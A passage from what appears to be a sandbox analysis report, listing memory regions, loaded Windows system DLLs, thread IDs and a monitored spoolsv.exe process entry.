"c:\\windows\\system32\\iphlpapi.dll") Region: id = 3499 start_va = 0x7fefa810000 end_va = 0x7fefa81afff monitored = 0 entry_point = 0x7fefa814f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 3500 start_va = 0x7fefa820000 end_va = 0x7fefa82bfff monitored = 0 entry_point = 0x7fefa8215d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 3501 start_va = 0x7fefa840000 end_va = 0x7fefa858fff monitored = 0 entry_point = 0x7fefa8411a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 3502 start_va = 0x7fefa8a0000 end_va = 0x7fefa8dcfff monitored = 0 entry_point = 0x7fefa8a1b7c region_type = mapped_file name = "mstask.dll" filename = "\\Windows\\System32\\mstask.dll" (normalized: "c:\\windows\\system32\\mstask.dll") Region: id = 3503 start_va = 0x7fefa8e0000 end_va = 0x7fefa8f4fff monitored = 0 entry_point = 0x7fefa8e60d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 3504 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3505 start_va = 0x7fefab00000 end_va = 0x7fefab2ffff monitored = 0 entry_point = 0x7fefab1fe98 region_type = mapped_file name = "peerdist.dll" filename = "\\Windows\\System32\\PeerDist.dll" (normalized: "c:\\windows\\system32\\peerdist.dll") Region: id = 3506 start_va = 0x7fefab30000 end_va = 0x7fefabdbfff monitored = 0 entry_point = 0x7fefab418d0 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 3507 start_va = 0x7fefac00000 end_va = 0x7fefac08fff monitored = 0 entry_point = 0x7fefac01010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 3508 start_va = 0x7fefac10000 end_va = 0x7fefac3bfff monitored = 0 entry_point = 0x7fefac115c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 3509 start_va = 0x7fefac40000 end_va = 0x7fefacebfff monitored = 0 entry_point = 0x7fefac56acc region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 3510 start_va = 0x7fefacf0000 end_va = 0x7fefad1cfff monitored = 0 entry_point = 0x7fefacf1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3511 start_va = 0x7fefad20000 end_va = 0x7fefad30fff monitored = 0 entry_point = 0x7fefad214c0 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 3512 start_va = 0x7fefad60000 end_va = 0x7fefad9efff monitored = 0 entry_point = 0x7fefad612c0 region_type = mapped_file name = "cscobj.dll" filename = "\\Windows\\System32\\cscobj.dll" (normalized: "c:\\windows\\system32\\cscobj.dll") Region: id = 3513 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 3514 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 3515 start_va = 0x7fefb1b0000 end_va = 0x7fefb1fafff monitored = 0 entry_point = 0x7fefb1befcc region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 3516 start_va = 0x7fefb620000 end_va = 0x7fefb74bfff monitored = 0 entry_point = 0x7fefb6294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 3517 start_va = 0x7fefb7a0000 end_va = 0x7fefb993fff monitored = 0 entry_point = 0x7fefb92c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 3518 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3519 start_va = 0x7fefbff0000 end_va = 0x7fefc00afff monitored = 0 entry_point = 0x7fefbff2068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 3520 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3521 start_va = 0x7fefc030000 end_va = 0x7fefc041fff monitored = 0 entry_point = 0x7fefc031060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 3522 start_va = 0x7fefc160000 end_va = 0x7fefc169fff monitored = 0 entry_point = 0x7fefc163cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 3523 start_va = 0x7fefc170000 end_va = 0x7fefc17cfff monitored = 0 entry_point = 0x7fefc171348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 3524 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3525 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3526 start_va = 0x7fefc6d0000 end_va = 0x7fefc6f1fff monitored = 0 entry_point = 0x7fefc6d5d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 3527 start_va = 0x7fefc750000 end_va = 0x7fefc77efff monitored = 0 entry_point = 0x7fefc751064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 3528 start_va = 0x7fefc790000 end_va = 0x7fefc7fcfff monitored = 0 entry_point = 0x7fefc791010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 3529 start_va = 0x7fefcb00000 end_va = 0x7fefcb0afff monitored = 0 entry_point = 0x7fefcb01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 3530 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3531 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3532 start_va = 0x7fefcc10000 end_va = 0x7fefcc4cfff monitored = 0 entry_point = 0x7fefcc118f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 3533 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3534 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3535 start_va = 0x7fefcd10000 end_va = 0x7fefcd1efff monitored = 0 entry_point = 0x7fefcd11020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 3536 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3537 start_va = 0x7fefcd90000 end_va = 0x7fefcefcfff monitored = 0 entry_point = 0x7fefcd910b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 3538 start_va = 0x7fefcf00000 end_va = 0x7fefcf35fff monitored = 0 entry_point = 0x7fefcf01474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 3539 start_va = 0x7fefcf40000 end_va = 0x7fefcf59fff monitored = 0 entry_point = 0x7fefcf41558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 3540 start_va = 0x7fefd000000 end_va = 0x7fefd03afff monitored = 0 entry_point = 0x7fefd001324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 3541 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3542 start_va = 0x7fefd490000 end_va = 0x7fefd4dcfff monitored = 0 entry_point = 0x7fefd491070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3543 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3544 start_va = 0x7fefd6f0000 end_va = 0x7fefe477fff monitored = 0 entry_point = 0x7fefd76cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 3545 start_va = 0x7fefe480000 end_va = 0x7fefe656fff monitored = 0 entry_point = 0x7fefe481010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 3546 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3547 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3548 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3549 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3550 start_va = 0x7fefea60000 end_va = 0x7fefeab1fff monitored = 0 entry_point = 0x7fefea610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 3551 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3552 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3553 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3554 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3555 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3556 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3557 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3558 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3559 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3560 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 3561 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 3562 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 3563 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 3564 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 3565 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 3566 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 3567 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 3568 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 3569 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 3570 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3571 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3572 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3573 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 3574 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3575 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 3576 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3577 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3578 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 341 os_tid = 0xe0c Thread: id = 342 os_tid = 0x6d0 Thread: id = 343 os_tid = 0x7c8 Thread: id = 344 os_tid = 0x680 Thread: id = 345 os_tid = 0x5c8 Thread: id = 346 os_tid = 0x1c4 Thread: id = 347 os_tid = 0xf8 Thread: id = 348 os_tid = 0x3e8 Thread: id = 349 os_tid = 0x3dc Thread: id = 350 os_tid = 0x3d8 Thread: id = 351 os_tid = 0x3c8 Thread: id = 352 os_tid = 0x3c4 Thread: id = 353 os_tid = 0x390 Thread: id = 354 os_tid = 0x380 Thread: id = 355 os_tid = 0x378 Thread: id = 356 os_tid = 0x360 Thread: id = 357 os_tid = 0x348 Thread: id = 358 os_tid = 0x338 Thread: id = 542 os_tid = 0xe68 Process: id = "22" image_name = "spoolsv.exe" filename = "c:\\windows\\system32\\spoolsv.exe" page_root = "0x7b822000" os_pid = "0x454" os_integrity_level = "0x4000" os_privileges = "0x20a00080" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\System32\\spoolsv.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Spooler" [0xe], "NT AUTHORITY\\Logon Session 00000000:00011119" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 5920 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5921 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spoolsv.exe.mui" filename = "\\Windows\\System32\\en-US\\spoolsv.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\spoolsv.exe.mui") Region: id = 5922 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5923 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 5924 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 5925 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 5926 start_va = 0x70000 end_va = 0xaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 5927 start_va = 0xb0000 end_va = 0xbcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 5928 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 5929 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 5930 start_va = 0xe0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 5931 start_va = 0x1e0000 end_va = 0x246fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5932 start_va = 0x250000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 5933 start_va = 0x350000 end_va = 0x350fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 5934 start_va = 0x360000 end_va = 0x370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "localspl.dll.mui" filename = "\\Windows\\System32\\en-US\\localspl.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\localspl.dll.mui") Region: id = 5935 start_va = 0x380000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 5936 start_va = 0x390000 end_va = 0x517fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 5937 start_va = 0x520000 end_va = 0x6a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 5938 start_va = 0x6b0000 end_va = 0x1aaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 5939 start_va = 0x1ab0000 end_va = 0x1ab0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll") Region: id = 5940 start_va = 0x1ac0000 end_va = 0x1adffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ac0000" filename = "" Region: id = 5941 start_va = 0x1ae0000 end_va = 0x1b5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ae0000" filename = "" Region: id = 5942 start_va = 0x1ba0000 end_va = 0x1ba0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsdmon.dll.mui" filename = "\\Windows\\System32\\en-US\\WSDMon.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wsdmon.dll.mui") Region: id = 5943 start_va = 0x1bd0000 end_va = 0x1c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001bd0000" filename = "" Region: id = 5944 start_va = 0x1c50000 end_va = 0x1c50fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "win32spl.dll.mui" filename = "\\Windows\\System32\\en-US\\win32spl.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\win32spl.dll.mui") Region: id = 5945 start_va = 0x1c60000 end_va = 0x1c60fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "inetpp.dll.mui" filename = "\\Windows\\System32\\en-US\\inetpp.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\inetpp.dll.mui") Region: id = 5946 start_va = 0x1c80000 end_va = 0x1c8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c80000" filename = "" Region: id = 5947 start_va = 0x1c90000 end_va = 0x1ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c90000" filename = "" Region: id = 5948 start_va = 0x1ce0000 end_va = 0x1d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ce0000" filename = "" Region: id = 5949 start_va = 0x1d20000 end_va = 0x1d5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d20000" filename = "" Region: id = 5950 start_va = 0x1d80000 end_va = 0x1dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 5951 start_va = 0x1dd0000 end_va = 0x1e0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dd0000" filename = "" Region: id = 5952 start_va = 0x1e30000 end_va = 0x1e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e30000" filename = "" Region: id = 5953 start_va = 0x1e70000 end_va = 0x1eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e70000" filename = "" Region: id = 5954 start_va = 0x1ec0000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 5955 start_va = 0x1f10000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f10000" filename = "" Region: id = 5956 start_va = 0x1f20000 end_va = 0x21eefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5957 start_va = 0x2220000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 5958 start_va = 0x22a0000 end_va = 0x23a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 5959 start_va = 0x2410000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 5960 start_va = 0x2490000 end_va = 0x258ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002490000" filename = "" Region: id = 5961 start_va = 0x25b0000 end_va = 0x25effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 5962 start_va = 0x2600000 end_va = 0x26bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 5963 start_va = 0x26c0000 end_va = 0x26fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026c0000" filename = "" Region: id = 5964 start_va = 0x2760000 end_va = 0x27dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 5965 start_va = 0x2800000 end_va = 0x283ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 5966 start_va = 0x28f0000 end_va = 0x292ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028f0000" filename = "" Region: id = 5967 start_va = 0x2990000 end_va = 0x2a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 5968 start_va = 0x2a10000 end_va = 0x2b0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a10000" filename = "" Region: id = 5969 start_va = 0x2bd0000 end_va = 0x2c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bd0000" filename = "" Region: id = 5970 start_va = 0x2c50000 end_va = 0x304ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c50000" filename = "" Region: id = 5971 start_va = 0x3060000 end_va = 0x309ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003060000" filename = "" Region: id = 5972 start_va = 0x3170000 end_va = 0x317ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003170000" 